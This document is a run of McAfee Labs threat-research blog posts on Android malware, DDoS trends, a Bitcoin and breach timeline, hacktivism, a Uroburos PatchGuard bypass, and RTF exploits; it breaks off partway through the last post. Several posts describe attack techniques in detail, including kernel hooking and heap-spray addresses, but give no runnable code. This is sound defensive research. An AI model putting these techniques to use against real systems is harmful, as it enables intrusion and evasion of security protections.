Android users usually download and install applications from the Google Play store through several interactions with the service–including viewing the app’s description and granting permission requests by the app. This confirmation procedure helps us avoid installing malicious and potentially unwanted apps.

However, McAfee recently found a suspicious app on Google Play that almost automatically downloads, installs, and launches other apps from Google Play without these interactions. This automatic installation occurs with the Google account’s authorization tokens, provided by the user only once, which communicates with Google Play URLs in an unofficial way.

A badly behaved app that automatically installs other apps from Google Play.

This app, which has been removed from Google Play, targets Japanese users and allows them to download and view adult movies in return for installing at least five apps among a list of more than 10 provided by a remote server. None of these apps are malicious. It appears the app does this just to get pay-per-install affiliate rewards in an easy–and possibly prohibited–way that betrays advertisers. It’s possible the remote server might later change the list of apps and replace them with malicious ones, though we have not yet seen such behavior.

The app offers adult movies in return for installing five more apps.

Next the app grabs the Google account information on the device and requests that the user authorize the app to access Google services using the AccountManager.getAccountsByType() and AccountMangaer.getAuthToken() APIs. In this case, two privileges, SID and LSID, are requested; these allow the app to access various Google services including the store. These authorization tokens are stored by the app for later use and are also cached for a while by the Android system. Thus until they expire, this authorization request will not be repeated when user next launches the app.

The app requests users authorize to access to the SID and LSID of the Google account.

Once these privileges are granted, the app accesses and interacts several times in an unofficial way with the URLs managed by Google Play. We suspect that the app developer somehow reverse-engineered the protocol used in the Google Play service. Through these HTTP communications, such as retrieving cookies, the app obtains a token to directly request the download of any free apps on Google Play and initiates their automated installation.

The app triggers the automatic installation of five selected apps from Google Play.

Normally users install apps manually from Google Play and can open an app’s description page, check the permission requests, and reject an installation. None of that is possible with this app. Finally the app launches all the installed apps once their installations have finished.

Installing the five apps succeeds without any permission confirmations by the user.

Allowing this kind of app installation invites terrible results if this technique is abused by malicious developers; they can silently install other malicious apps on Google Play onto a user’s device and automatically launch them to run harmful code, without giving the user any opportunity to reject the installation. Users can still bar access to the SID and LSID of their Google accounts when prompted, but malware could offer a legitimate reason or a reward to convince users to approve requests, and allow the app to later install other malware or unwanted apps using the stored authorization tokens.

This automatic installation is allowed thanks to users granting GET_ACCOUNTS and USE_CREDENTIALS permission requests by the app. As previously mentioned, granting these permissions gives the app a powerful position on users’ accounts (and possibly the accounts of services other than Google). Users should be very careful when any unfamiliar app requests these permissions at installation, and also when such apps request access to privileges to a device’s Google account at runtime. Allowing privileges to malicious apps could cause terrible damage to devices and privacy.

The GET_ACCOUNTS and USE_CREDENTIALS permission requests.

McAfee Mobile Security detects this potentially risky app as Android/BadInst.A.

The post Automatic App Installation from Google Play Poses Big Risk appeared first on McAfee.

From McAfee’s first Cyber Defense Center (CDC) in Dubai, we closely monitor threats and activities in Europe and the Middle East. Since the Center’s official launch in September 2013, we have seen  quite a few interesting trends, especially in the Persian Gulf region.

Many of the activities spotted are related to hacktivism, cybercrime, or regional conflicts. The following table gives an overview of the top-five countries that are under attack, the top-five verticals, and the top-five types of attack that are used in the various incidents and campaigns targeting these countries and industries.

In this region it is safer to launch a protest from behind a desk than to actually go out on the streets and participate in a demonstration.

Tools and quick-setup sites for participating in a distributed denial of service (DDoS) campaign are divided among the participants. It can be as easy as clicking on a short link, which opens a web page containing an application with a front end prefilled with the victim’s details. By clicking on the launch button, the commands are sent to a list of “booter” servers that commence the DDoS attack. An attacker can easily execute an exploit from a computer as well as a smartphone.

One type of DDoS attack scenarios we are monitoring from the CDC are “DNS-amplifying-DDoS” attacks. This scenario allows the actors to boost DNS responses by a factor of 40 or more per DNS request. Either the attackers scan for vulnerable DNS servers or set up their own network of DNS servers. Tutorials, tools, and code are freely available on the Internet to launch these kinds of attacks. Since September 2013, we have seen that most of these attacks were launched against Turkey, with Saudi Arabia and the United Arab Emirates in second and third place, respectively.

Prevention

• Make sure that DNS recursion is permitted only for the networks that need to use DNS; block recursion for all other networks.
• In case of BIND, use the new feature DNS Rate Response Limiting (RRL). https://kb.isc.org/article/AA-01000/0/A-Quick-Introduction-to-Response-Rate-Limiting.html
• A Secure DNS template for BIND is available from Team Cymru. http://www.cymru.com/Documents/secure-bind-template.html
• Harden NTP servers using SNMP on routers. The NTP and SNMP protocols are commonly used to amplify attacks.

The post McAfee Cyber Defense Center Zooms In on Middle East appeared first on McAfee.

Starting with the McAfee Labs Threats Report: Fourth Quarter 2013 posted today, we’re taking a fresh approach to its format, content, and supporting materials.

We had several things in mind when developing this new approach:

• Focusing on a few key topics and trends. Those topics will cover top threats or security issues from the quarter; threat concerns–on a rotating basis–surrounding the four IT megatrends: mobile, social, cloud, and big data; and other top issues from the quarter.
• Making the report more engaging, more colorful, easier to understand, and simpler to navigate.
• Including an infographic with each report and making it simple for readers to “lift” key data from the report for use in their reports.
• Continuing to publish the rich set of threats data that we collect through McAfee Global Threat Intelligence. By continuing to publish that data—most of which is in time series—our readers can gain a better understanding of the changing threats landscape.

The journey toward these goals continues and we welcome your feedback.

In this quarter’s report, we discuss four key topics:

• The cybercrime industry and its role in point-of-sale attacks. The cybercrime industry was complicit in making these attacks possible, from the purchase of point-of-sale malware to the anonymous sale and monetization of stolen credit card numbers.
• Malicious signed binaries: Can we trust the Certificate Authority model? For many quarters, we have chronicled the rapid rise of malicious signed binaries. With more than 8 million now cataloged, trust in the Certificate Authority model is eroding. The security industry needs to help users understand which certificates can be trusted.
• Microsoft Office zero-day exploit: Discovered by McAfee Labs. In November, McAfee Labs discovered a zero-day exploit that attacks a vulnerability in Microsoft Office. It is the first known zero-day exploit of the .docx format. This discussion describes how we unpacked the exploit, worked with Microsoft to develop a patch for it, and built defenses into McAfee products to stop it.
• Mobile malware: The march continues. As with malicious signed binaries, we track the rapid growth in mobile malware: 2.4 million new mobile malware samples were added in 2013, up 197% from 2012. This quarter, we explore what appears to be a relationship between apps that “overcollect” mobile device telemetry and apps that contain or enable malware.

Read the report and let us know what you think!

The post Welcome to the New McAfee Labs Quarterly Threats Report appeared first on McAfee.

The buzz about Bitcoin has moved from online circles to mainstream media sources. Last week’s news of the collapse of exchange Mt. Gox got more play than in just the business section. Everyone seems to be interested in the digital, anonymous, and stateless currency. Governments have made pronouncements, law enforcement has investigated its use in money laundering, and legitimate businesses such as retailers and restaurants have begun to accept Bitcoin for payments. In recent McAfee Labs Threats Reports, we have offered timelines that showed the volatility in Bitcoin valuation. The timeline continues here for the most recent quarter, which saw the currency jump from US$136 in value to $1,242 before finishing the quarter at $820, a sixfold increase for the period. For more on cybercrime, vulnerabilities, and malware, see the newly released McAfee Labs Threats Report: Fourth Quarter 2013.

• October 1, 2013: One Bitcoin is worth about $136.
• October 26: Bitdefender Labs finds a CryptoLocker ransomware variant that suggests Bitcoin as means of payment.[1]
• October 26: Chinese Bitcoin exchange Global Bond Limited shuts down, taking with it more than 25 million Yuan ($4.1 million) of investors’ money.[2]
• October 29: The world’s first Bitcoin ATM opens in Vancouver, Canada. It dispenses Canadian cash in exchange for the anonymous cryptocurrency through a palm-scan security system.[3]
• November 6: Silk Road 2.0 market comes online. Apparently administered by “Dread Pirate Roberts,” the same pseudonym adopted by the previous owner and manager of the Silk Road, allegedly the 29-year-old Ross Ulbricht, who was arrested by the FBI in San Francisco on October 2.[4]
• November 8: Australia developer “Trade Fortress” alleges $1 million worth of Bitcoin was stolen from his virtual wallet.[5]
• November 11: The Czech Republic Bitcoin exchange platform Bitcash.cz is hacked; money from 4,000 Bitcoin wallets is stolen at a value of more than 2 million Czech Koruna ($100,000).[6]
• November 14: The New York Department of Financial Services announces it will hold hearings in the coming months to discuss regulating Bitcoin.[7]
• November 18: Poland’s digital currency exchange Bidextreme.pl is hacked; customers’ Bitcoin and Litecoin wallets are emptied.[8]
• November 19: Gaming company E-Sports Entertainment Association (ESEA) is hit with a $1 million fine after it was discovered to have secretly used its customers computers to mine Bitcoins.[9]
• November 22: After launching DDoS attacks on preceding days, cybercriminals break into the Danish BIPs—Bitcoin payment processor servers—and wipe out about BTC 1,295 from more than 22,000 customers’ wallets.[10]
• November 29: 1 Bitcoin reaches a record high, valued at $1,242 by exchange Mt. Gox.[11]
• December 4: Security researchers at Trustwave’s SpiderLabs find a Pony Botnet Controller Server in the Netherlands with almost two million usernames and passwords, stolen by cybercriminals from users of Facebook, Twitter, Google, Yahoo, and other websites.[12] Some cybercriminals offer access to the data in exchange for BTC 0.05. (Some observers claim the dump displayed to attract possible buyers is not real.)
• December 4: Lamborghini Newport Beach (California) announces it is ready to accept Bitcoins as payment for vehicles.[13] Using the BitPay platform, the company says it recently sold a Tesla Model S Performance listed at $118,888.
• December 7: The value of Bitcoin drops by $300 after China’s central bank, the People’s Bank of China, and five government ministries say they do not consider Bitcoin as a real currency.[14]
• December 19: SealsWithClubs, an online poker room that deals only in Bitcoin, says its customer database was hacked. The day before, 42,000 hashes were posted to a user forum.[15]

Following the coins

Black market websites for stolen data (date of birth, social security number, address, and credit card number, etc.) are numerous on the Internet. They come and go for a variety of reasons, including avoiding law enforcement attempts to shut them down and arrest the principals.

To attract new buyers, these sites advertise via spam emails. By multiplying the number of sites online, the crooks multiply their profits. And by accepting digital currencies such as Bitcoin, these crooks can also rip off novice criminals. When a sufficient number of buyers purchase stolen credit card data, a site will disappear. Because digital currencies are exchanged irreversibly and almost anonymously, the money stays in the site owner’s hands. Even for criminals, the buyer must beware.

Using Bitcoin is not fully anonymous. A criminal can publicly link his name to a wallet address; that error can be dangerous. For this reason some cybercriminals have jumped to other types of virtual money, including Zerocoin.[16]

Successfully following the money trail requires an in-depth investigation. Dorit Ron and Adi Shamir of the Weizmann Institute of Science, in Israel, published their research on Bitcoin, Silk Road, and account holder Dread Pirate Roberts in November.[17] They traced the evolution of DPR’s holdings after the address of the FBI Bitcoin wallet used to seize some Silk Road assets on October 1 was published.

The post Timeline of Bitcoin Events Demonstrates Online Currency’s Volatility appeared first on McAfee.

As a supplement to the latest McAfee Labs Threats Report, published this week, we offer this timeline of leading threats that made news in the fourth quarter of 2013.

• October 3: Adobe reports personal information relating to customer orders has been accessed in an attack on the company’s systems.[1] The total amounts to 152 million records, including names, customer IDs, encrypted passwords, encrypted debit or credit card numbers with expiration dates, and source code, according to DataLossDB.[2]
• October 7: McAfee Labs announces criminal activities around the Quarian backdoor, which targets government agencies and embassies around the world, including the United States.[3]
• October 18: McAfee Labs researchers discover a targeted attack using a technique that ensures the malware can run only on the targeted computer by using its IP address as a decryption key.[4]
• October 31: McAfee Labs discovers a suspicious sample targeting a Microsoft Office vulnerability.[5] McAfee Labs confirms this is a zero-day attack and immediately shares its findings with the Microsoft Security Response Center, which on November 5 sends its warning about a previously unknown security vulnerability of a Microsoft graphics component. The attack, which exploits CVE-2013-3906, downloads an executable, a RAR SFX containing another executable and a fake Word document. (For details, see page 6 of the McAfee Labs Threats Report.)
• November 5: Android/HackDrive: McAfee sends an alert on mobile malware used in a sabotage campaign in the Middle East.[6]
• November 13: Intego blogs about a new variant of the Remote Control System, spyware from the Hacking Team. Targeting Macs, this program is described as an expensive rootkit used by governments during targeted attacks. Nicknamed OSX/Crisis, it can collect audio, pictures, screenshots, and keystrokes, and report everything to a remote server.
• November 21 and 27: McAfee Labs reports that Japanese and Korean Android apps on Google Play steal mobile devices phone numbers.[7]
• December 6: McAfee Labs explains how Android/Balloonpopper, a game recently revoked from Google Play, can secretly upload stolen conversations and pictures that can be retrieved by anyone who knows the phone number of the victim.[8]
• December 16: McAfee reports a substantial amount of suspicious apps can secretly collect Google account IDs on Google Play.[9] Some of these applications, detected as Android/GaLeaker, are downloaded between 10,000 and 50,000 times.
• December 16: The Hürriyet Daily News reports that Russian hackers stole ID data of 54 million Turkish citizens.[10]
• December 17: McAfee Labs discovers variants of Reveton (Ransom-FFK!, Ransom-FFM!, Ransom-FFN!, Ransom-FFO!, and Ransom-FFQ!) that come with various flavors of encryption to evade antimalware detections.[11]
• December 17: CVE-2013-5329 on Adobe Flash Version 11.9.900.117 is found integrated in the Angler exploit kit.[12]
• December 19: Target confirms approximately 40 million credit and debit card accounts may have been impacted after unauthorized access to its payment system.[13] Later, Target raised the figure to 70 million.[14]

The post Threats Timeline Tracks Recent Security Breaches appeared first on McAfee.

A few weeks ago G Data Software released a report detailing alleged intelligence agency software. Following the release of that report, BAE Systems published a whitepaper further describing the threat. In this blog we reveal some additional information not previously discussed. (Note: G Data did report an older Microsoft PatchGuard bypass used by a different component of this threat.) We believe what follows has not been previously documented publicly.

Because we have examined earlier PatchGuard bypasses, the 64-bit version of the Uroburos malware caught our attention. Details have already been released describing how it exploits a signed virtual box driver to disable the kernel-mode signing check, so we will limit our discussion to a new PatchGuard bypass aspect of the threat.

To recap, PatchGuard, also called Kernel Patch Protection, is a kernel-mode feature of 64-bit Microsoft Windows that checks for the integrity of various kernel-mode constructs (modules, structures, registers, etc.) at regular intervals. If it finds any inconsistencies, the system is immediately halted and the compromise is reported to the user.

Let’s get back to analysis of the 64-bit kernel driver used by Uroburos. The malware uses an inline hooking mechanism. Inline hooks are very unconventional. They are not simple “jmp” instructions or any “push, ret” combination as we have seen in many inline hooks. It’s kind of motivated by binary translation, as we will see below.

Let’s first check the consistency of the image loaded in memory, using the WinDbg command chkimg.

We have to ignore nt!SwapContext_xxxxx and nt!EnglightenedSwapContext_xxxxx because they are related to internal hot patching in the Windows kernel.

The highlighted lines are of interest; the rest are for the functional purpose of the rootkit and have been documented in other blogs and white papers. The highlights are interesting because they are used by PatchGuard in an obfuscated way to invoke its own validation routine.

KiRetireDpcList, an undocumented function, is called by the kernel to invoke DPCs in the queue until the queue is empty. If you have read publications by skywing about the workings of PatchGuard, DPCs are the place from which the chain starts for the execution of PatchGuard validation routines. In short, an invalid pointer dereference is set up to be done in predetermined DPC routines and that will invoke the exception handler associated with the DPC routine; thus invoking the PatchGuard validation routine later.

RtlLookupFunctionEntry is a well-documented function to obtain the function table for a specified program counter (RIP in this case). This table is used for unwinding the stack in case an exception is raised in the program.

Hook Mechanism

As evident from above, the driver is hooking into several places in kernel memory. So let’s discuss the hooking mechanism: If we look into the body of any hooked function, we see that code is being pushed onto the stack followed by the instruction “int 0C3h.” The C3 interrupt vector is unused and thus is utilized by the threat to appropriately route all its hooks. Below are screen shots of three of the hooked functions. The rest have similar hook bodies.

The next command to execute is !idt:

As evident from the disassembly, “rax” holds the code pushed from the inline hook and is shifted left 4 (multiply by 16) and added to the address of the function call table, shown below:

PatchGuard Bypass

Now that we have analyzed the hook infrastructure, let’s look at some of the hooks to see how the malware bypasses PatchGuard. Each hook has its own significance, essentially either deny the validation routine to run or, if an inconsistency is reported, to not allow KeBugCheckEx to happen. Let’s analyze the hooks.

RtlCaptureContext

As evident from msdn documentation, this function captures the current execution state. Inside the Windows kernel the function is called from many places; the one we care about is KeBugCheckEx, which calls this function to record current state. Here the hook handler of RtlCaptureContext looks as if it is being called by KeBugCheckEx. If it is called by KeBugCheck, then it checks for a value in ECX against 0×109. ECX is first parameter to KeBugCheckEx and 0×109 is PatchGuard’s inconsistency bugcheck. If it happens to be true and IRQL is PASSIVE_LEVEL, it resumes the execution from the start of the worker thread by modifying the thread context address. Below are some screen shots showing this in action.

In the case of IRQL equal to DISPATCH_LEVEL and bugcheck code equal to 109h, it can’t restore the worker thread context because the call is still in DPC. Thus the DPC stack and context is applicable. However, the malware plays another trick, which we will see in the KiRetireDpcList section. Earlier versions of PatchGuard were not invoked directly by DPC, but as PatchGuard evolved its validation routine may be called directly from the DPC routine. That’s why Uroborous hooks KiRetireDpcList and makes a check for DISPATCH_LEVEL.

This is quite an advanced technique because hooking KeBugCheckEx doesn’t serve any purpose as reported in the G Data analysis. The current PatchGuard makes a copy of KeBugCheckEx at boot time and before calling into KeBugCheckEx, PatchGuard copies the function and calls it. It looks like the sample documented by G Data is an older one. But KeBugCheckEx has to call RtlCaptureContext, which can eventually redirect the execution to normal execution using one of the methods suggested by skywing.

KiRetireDpcList

In the newest sample, nt!KiRetireDpcList simply acts as a pass-through. All this does is save the context before the KiRetireDpcList call and later restore it. However, there is a quirk here. In the last section we saw that if RtlCaptureContext is called at DISPATCH_LEVEL, it plays a trick. The trick is that the context at the time of the call of KiRetireDpcList would be restored by the RtlCaptureContext hook. Thus DPCs will be processed again, including PatchGuard’s DPC, and if this time it doesn’t invoke a validation routine directly at DISPATCH_LEVEL, then it will be disabled permanently by the previous method. (See last section.)

RtlLookupFunctionEntry

Hooking RtlLookupFunctionEntry is suspicious as well because it gets called whenever an exception is raised. Common exception handlers use this API to locate an appropriate exception handler for the associated function that raised the exception; thus it is a possible detour to the execution of the exception handler and PatchGuard’s validation routine. We have not been able to complete this analysis due to time constraints. In future, we may provide more details.

Detection Using McAfee Deep Defender

Fortunately McAfee Deep Defender proactively detects, by default, all the operations of this kernel-mode threat on x86 and x64 platforms. Because the malware modifies key kernel data structures and system registers and Deep Defender protects those on access, all such modifications are reported by Deep Defender. With reasonably good policies in effect, Deep Defender can easily thwart this kernel-mode threat.

Windows 8+

The malware installer does not function the same under Windows 8 or 8.1. Rather the driver in question is deleted by the threat rather than attempting to compromise the kernel.

Summary

Without a doubt this piece of code was written by extremely skilled programmers who have deep knowledge of Windows kernel internals and x64 architecture. PatchGuard offers countermeasures each time a public disclosure has been made about a bypass. We expect that will happen again this time. However, as we see in this example, the malware already has number of tricks up its sleeve, and author’s understanding of the Windows kernel is excellent. So it will be just a matter of time before we see a new technique to stop the execution of PatchGuard.

I would like to extend my thanks to my colleague Craig Schmugar for helping out in analyzing this threat.

SHA256 of 64bit binary analyzed: bb975dc17d871535ddeadfb6ec34089ba02eef3f2432e7a4f37065b53d67c00a

The post Analyzing the Uroburos PatchGuard Bypass appeared first on McAfee.

As a supplement to the latest McAfee Labs Threats Report, published this week, we offer this timeline of leading hacktivist activities that made news in the fourth quarter of 2013.

• October 3: Thirteen alleged members of the hacktivist collective Anonymous are indicted for cyberattacks between September 2010 and January 2011 on targets including the Motion Picture Association of America, Recording Industry Association of America, Visa, Mastercard, and Bank of America.[1] They are charged with organizing denial-of-service attacks aimed at the websites of the targets as part of “Operation Payback.”
• October 18: The Syrian Electronic Army, which supports President Bashar al-Assad, redirects many high-profile websites in Qatar managed by the Ministry of Information and Communication (ictQatar).[2] The SEA modifies DNS entries to redirect targeted websites—including Google, Facebook, Al Jazeera, and government military pages—to SEA servers displaying a picture of Assad with the group’s logo.
• October 26: The SEA alters some Twitter and Facebook accounts used by President Barack Obama during his election campaigns.[3] The group redirects the tweeted and posted links to a pro-Syrian propaganda video.
• November 5: Hacker group Anonymous calls for supporters to take part in demonstrations to protest against corporations and corruption in government. Rallies were held in more than 450 locations around the world.[4] Coordinated via Facebook and YouTube, the global “Million Mask March” makes many claims.
• November 8: The SEA hacks vice.com. The group deletes an article written in August in which the news site claims to have exposed the hacking collective.[5]
• November: “Anonymous Indonesia” claims to have hacked more than 170 Australian businesses, education websites, and charities, in response to a report that Australia used its embassy in Jakarta to conduct spying efforts spearheaded by the United States.[6] Meanwhile, Anonymous Australia, which started #OpAustralia against the Australian government over Internet filters, releases a video asking the Indonesian hackers to stop attacking innocent websites.[7]
• December 1: Anonymous protests Japanese whale and dolphin hunting (#OpKillingBay and #ShutTaijiDown). The group calls for attacks on Japanese websites, including those of the Ministry of Agriculture, Forestry, and Fisheries, as well as a day of action in the whaling town of Taiji, which was described in the Oscar-winning documentary “The Cove.”[8]
• December: Some Ukrainian hacktivists (#OpIndependence) support the government’s decision to remain free of the European Union while others protest this move.[9] The former assert they have leaked private emails of some members of the Ukrainian Parliament[10] but the latter deny the claim.[11] By midmonth, the majority of hacktivists appears to be against the Ukrainian government and says they’ve joined with FEMEN, the exhibitionist feminist protest group, in an effort to support the protesters.[12]

The post Anonymous, Syrian Electronic Army Lead Recent Hacktivist Actions appeared first on McAfee.

On March 24, Microsoft released Security Advisory 2953095 for Microsoft Word. In-the-wild exploitation of this vulnerability has been observed across limited, targeted attacks. The flaw is a memory-corruption vulnerability that can be invoked when parsing specially crafted RTF files or data. Successful exploitation can give an attacker the ability to run arbitrary code (via remote code execution). The flaw affects the following:

• Microsoft Office Compatibility Pack Service Pack 3
• Microsoft Office for Mac 2011
• Microsoft Office Web Apps 2010 Service Pack 1
• Microsoft Office Web Apps 2010 Service Pack 2
• Microsoft Office Web Apps Server 2013
• Microsoft Word 2003 Service Pack 3
• Microsoft Word 2007 Service Pack 3
• Microsoft Word 2010 Service Pack 1 (32-bit editions)
• Microsoft Word 2010 Service Pack 1 (64-bit editions)
• Microsoft Word 2010 Service Pack 2 (32-bit editions)
• Microsoft Word 2010 Service Pack 2 (64-bit editions)
• Microsoft Word 2013 (32-bit editions)
• Microsoft Word 2013 (64-bit editions)
• Microsoft Word 2013 RT
• Microsoft Word Viewer
• Word Automation Services on Microsoft SharePoint Server 2010 Service Pack 1
• Word Automation Services on Microsoft SharePoint Server 2010 Service Pack 2
• Word Automation Services on Microsoft SharePoint Server 2013

Current McAfee product coverage and mitigation

• McAfee Vulnerability Manager: The FSL/MVM package of March 24 includes a vulnerability check to assess if your systems are at risk.
• McAfee Host Intrusion Prevention (HIPS): Generic buffer overflow protection is expected to cover code execution exploits.
• McAfee Network Intrusion Prevention / Network Security Platform (NIPS) : The NSP release of March 27 will include coverage for this threat.
• Stonesoft (NGFW):  Coverage is provided in Update Package 572-5211 (Released March 27, 2014)

Cryptocurrency mining

Microsoft’s blog post highlights IP address 185.12.44.51 as a command and control host. This same host has multiple Bitcoin transactions associated with it as a relay. These can be queried and observed via Blockchain.info. As of this writing, the cumulative balance across the associated Bitcoin wallets is BTC 193.5043147 (about US$111,600).

Resources

• Microsoft: Security Advisory 2953095: recommendation to stay protected and for detections
• Microsoft: Microsoft Security Advisory (2953095)
• McAfee / Stonesoft - Release Notes For Update Package 572-5211

The post Product Coverage and Mitigation for CVE-2014-1761 (Microsoft Word) appeared first on McAfee.

Developers of malware and potentially unwanted programs (PUPs) often prey on our curiosity using social engineering methods to get our attention. A recent case is a video that has become popular on Facebook. In its description, the video claims to offer footage of the lost Malaysian aircraft.

Many people on Facebook are sharing this link:

The link includes a realistic image to add to its authenticity. However, the picture is five years old and was taken from a much publicized crash landing in New York, “the miracle on the Hudson.”

Going on the link we see a grayed (disabled) window that asks users to share this post on their Facebook walls. Only then will the video be enabled. A fake CNN logo adds authenticity.

We were surprised at this point to see that the lure indeed offered a video, which became enabled after users shared it on their Facebook walls. The sharing, however, ensured that the app got propagated.

Trying to play the video gets the victim an adware PUP.

The skip button is grayed out as a part of the deception, and to make sure the user installs all the add-ons.

A new search engine takes over the users’ default search engine, and shows ads that have no relevance. It seems the ads are hard coded. For example, whether the user searches “google”  or “ask.com,” all we see in the first ad is an offer to buy and sell used cars.

But that’s not all. Random ads are also shown and offer a virtually free iPhone 5 if the victim fills in lots of personal details.

Besides this scam, this site also hosts porn-related scams, all of which lead to more grayed adware.

McAfee detection for the source of all this adware and the HTML page is HTML/Hoax.gen.a.

In its beginning, social engineering was dependent on emails. With the boom in social media, however, things have changed. Malware and PUPs authors wait for any popular news and then jump on it as soon as it is released.

Besides having updated antimalware protection, users should be very judicious when clicking on links pointing outside Facebook, even if those links are shared by a trusted friend.

The post Search for Lost Malaysian Airliner Can Lead to Adware appeared first on McAfee.

Today many people use multiple web services, such as social networking and messaging services. Some users explicitly show their identity in these services, but others visit those services separately–as unidentifiable, different users. To protect their privacy, the latter group might not want their accounts and activities on multiple services to be associated with each other.

McAfee Labs has recently found a suspicious Android app on Google Play that secretly collects a device user’s Google account ID (gmail address in most cases), Facebook account ID (email address used for login), and Twitter account name. Users are exposed to the risk that these account IDs might be stored together and later abused, though we have not yet confirmed such misuse. The total downloads of this app amount to between 1,000 and 5,000 as of this writing.

Figure 1: This Android app secretly collects account IDs for Google, Facebook, and Twitter.

This app is implemented as a “sexy” movie viewer that provides a fixed set of URLs to movies on YouTube. However, this app secretly sends the device user’s Google account ID, Facebook account ID, Twitter account name, and locale information to its remote server just after it is launched. This information is not necessary for the app’s functionality, so we suspect that this app aims to collect these account IDs for possibly malicious purposes.

Figure 2: Account IDs secretly sent to the app’s remote server via HTTP.

As we described in an earlier blog about suspicious Android apps secretly collecting Google account IDs, this type of Android app requests GET_ACCOUNTS permission at installation. Granting this permission request allows the app to retrieve the device user’s account information (excluding passwords) of various services registered in the device, using the AccountManager.getAccountsByType() API. Because no passwords are stolen, this action cannot directly allow any illegal access to the accounts. However, because in some services the account IDs are email addresses or phone numbers, there are risks that the account IDs themselves will be abused, for example, in spamming or phishing. In addition, giving account IDs for multiple services could give the attackers hints for collecting more detailed personal and preference information of owners of Google accounts by combining data obtained from their Facebook and Twitter services.

Figure 3: A GET_ACCOUNTS permission request and examples of various service accounts.

Android device users should be careful and check whether an app developer is really trustworthy whenever an app requests GET_ACCOUNTS permission at installation. We also recommend that users should not unnecessarily enable social network privacy settings such as “allow search by email address.”

McAfee Mobile Security detects this suspicious app as Android/AccLeaker.A.

The post Suspicious Mobile App Finds Your Gmail, Facebook, and Twitter Accounts appeared first on McAfee.

Cuba has been described as the least connected country in the Western Hemisphere. With trade embargoes limiting the import of new technologies and tight restrictions controlling the usage of the Internet, Cuba nonetheless shares one in common Internet trait with other countries: It is not immune to malware.

McAfee Mobile Research has identified a new mobile Trojan embedded into copies of a popular underground app in Cuba called EstecsaDroyd, which is an unauthorized  copy of the telephone directory from the Cuban phone company ETECSA. The directory contains the names, identity card number, and even the home address of each subscriber. Although this information should be protected from public use, every year a new updated version is released.

After installation, the Trojan silently takes over priority handling for any incoming SMS messages and waits to be remotely activated. On receiving the word cola, the Trojan looks for all MP3 files on the SD card and overwrites them with a sound file.

Although at first it may seem that the destructive nature of this Trojan is its sole purpose, there is more at work than meets the eye. The Trojan is coded to take the last remaining audio file and replace the content of the file with an encrypted list of contacts retrieved from the infected device. We believe that this is the true intention of the attacker.

What remains a mystery is the absence of a retrieval method for the encrypted contact info. The Trojan on its own cannot transmit any of the stolen contact info over the wire, which leads us to speculate on the possibility of a second app that may be assisting with transmitting the data–possibly under the guise of recovering the damaged audio files.

McAfee Mobile detects this Trojan as Android/Cola.

The post Android Trojan Targets Cuba appeared first on McAfee.

In China, some mobile phone geeks like to refresh their Android machines with images from the Internet. For some mobile phone dealers, this makes good business. They can earn extra money from refreshing phone ROMs for those users who want to erase a lot of useless applications in the original ROMs.

However, making an Android ROM image is not very difficult, which makes refreshing Android devices dangerous. Once malware has been added to an image, it is hard to get rid of it.

Last week, McAfee Labs acquired a sample found in some Android images from China. Among other interesting behavior, it downloads JavaScript code from a control server, and runs the code within WebView. McAfee Labs detects this threat as Android/Huigezi.A.

Android/Huigezi.A runs at boot up, and when SMS messages come in and calls go out. It runs as a service in the background, and poses as a system service. Once started, it sets up a timer to restart itself every 30 minutes.

Malware “service” running in the background.

The malware sends sensitive information–IMEI, IMSI and OS version–to a remote server, and get a response string in JSON format. The string contains nonstandard Base64-encoded JavaScript code. The malware injects the code to a piece of HTML, and writes it to a file under “/data/data/com.android.systemservice/cache/webviewCache/” on the device. The filename is the integer value of the current time.

Posting sensitive information to the control server.

The following image shows one of the HTML files being injected with the malicious encoded JavaScript.

HTML altered by the encoded JavaScript.

The decoded JavaScript:

Decoded JavaScript.

Android/Huigezi.A sets up the binding of classes with a JavaScript interface for the HTML, and loads the HTML in the WebView client. The functions in the dex file will be executed by the JavaScript in the HTML.

Adding a JavaScript interface.

The payloads of this malware depend on the JavaScript downloaded from the control server. According to its code, the malware can take the following actions:

• Send SMS messages
• Post sensitive information–IMEI, IMSI, device model name, phone number, carrier name–to remote server
• Download some install packages and install them silently
• Retrieve SMS messages and store them to a hash map
• Set up SMS messages to be blocked
• Download a dex file, and load the class in it
• Create a shell for the remote server

Creating a shell.

Android/Huigezi.A is very different than other mobile Trojans. It is more flexible for hackers to launch attacks and harder for victims to become aware of its presence. Most important: It could hide in an Android image. Users probably need to refresh their ROM images, or get root privileges and uninstall the malware with command tools, not easy task for most people.

The post Trojan Hides in ROM of Chinese Android Devices appeared first on McAfee.

This is a joint analysis by Haifei Li, Stanley Zhu, and Jun Xie of McAfee Labs

Recently, the rich text format has provoked new interest in the security industry due to a critical RTF zero-day (CVE-2014-1761) exploit found in the wild. McAfee Labs has investigated this threat. As usual, we suggest our customers apply our solutions right away if you haven’t already done so.

In this post, we want to share our analysis of another RTF exploit. This attack is particularly interesting because the single RTF sample tries to exploit two previous vulnerabilities. This multiexploitation technique is usually seen in HTML or JavaScript exploits but rarely for RTF or Office exploits.

Analyzing the exploit
As you can see in the following figure, the malicious RTF comes as an attachment to an email that appears to be a UPS delivery invoice.

We have analyzed the content of the RTF at a deep level. The content consists of several objects, which we will examine one by one.

The first object looks like the following:

The first object loads both first- and second-stage shellcode in memory. After successful exploitation, the first-stage shellcode searches the memory for the second-stage shellcode and executes it. We’ll explain this later.

The second object in the RTF file is some OLE data read via the program ID “Word.Document.12,” which suggests that it contains a Word 2007 OpenXML document.

We can simply “unzip” the .docx file and find something like this.

As shown above, the attack uses the same nonscriptable heap-spraying trick that we first identified in the Office TIFF zero-day attack, which we discovered in the wild last November. Previously we had seen the trick used only with OpenXML formats (.docx); this time the trick is used with RTF.

The third object aims to exploit a years-old but still popular Office vulnerability. This vulnerability, CVE-2010-3333, is a stack-based overflow in MSCOMCTL.OCX. The vulnerability is easy to exploit, which makes popular in many exploit kits.

After successfully exploiting CVE-2010-3333, shellcode will execute; it’s a very smooth attack. However, CVE-2010-3333 is an old vulnerability that was patched more than three years ago. To maximize the chance of hacking into victims’ systems, the attacker has made some innovations.

The third object also tries to trigger the CVE-2013-3906 TIFF paring vulnerability through a “\pict” control word, with the object stream actually a crafted TIFF file.

CVE-2013-3906 is an integer overflow vulnerability in OGL.DLL. By exploiting the vulnerability, an attacker can control the program flow to heap memory around 0x0A0AXXXX. At this point, the heap memory has already been sprayed there via the second object, so the first-stage shellcode will be correctly executed in the heap. The shellcode uses 0x3F (AAS) as the NOP instruction.

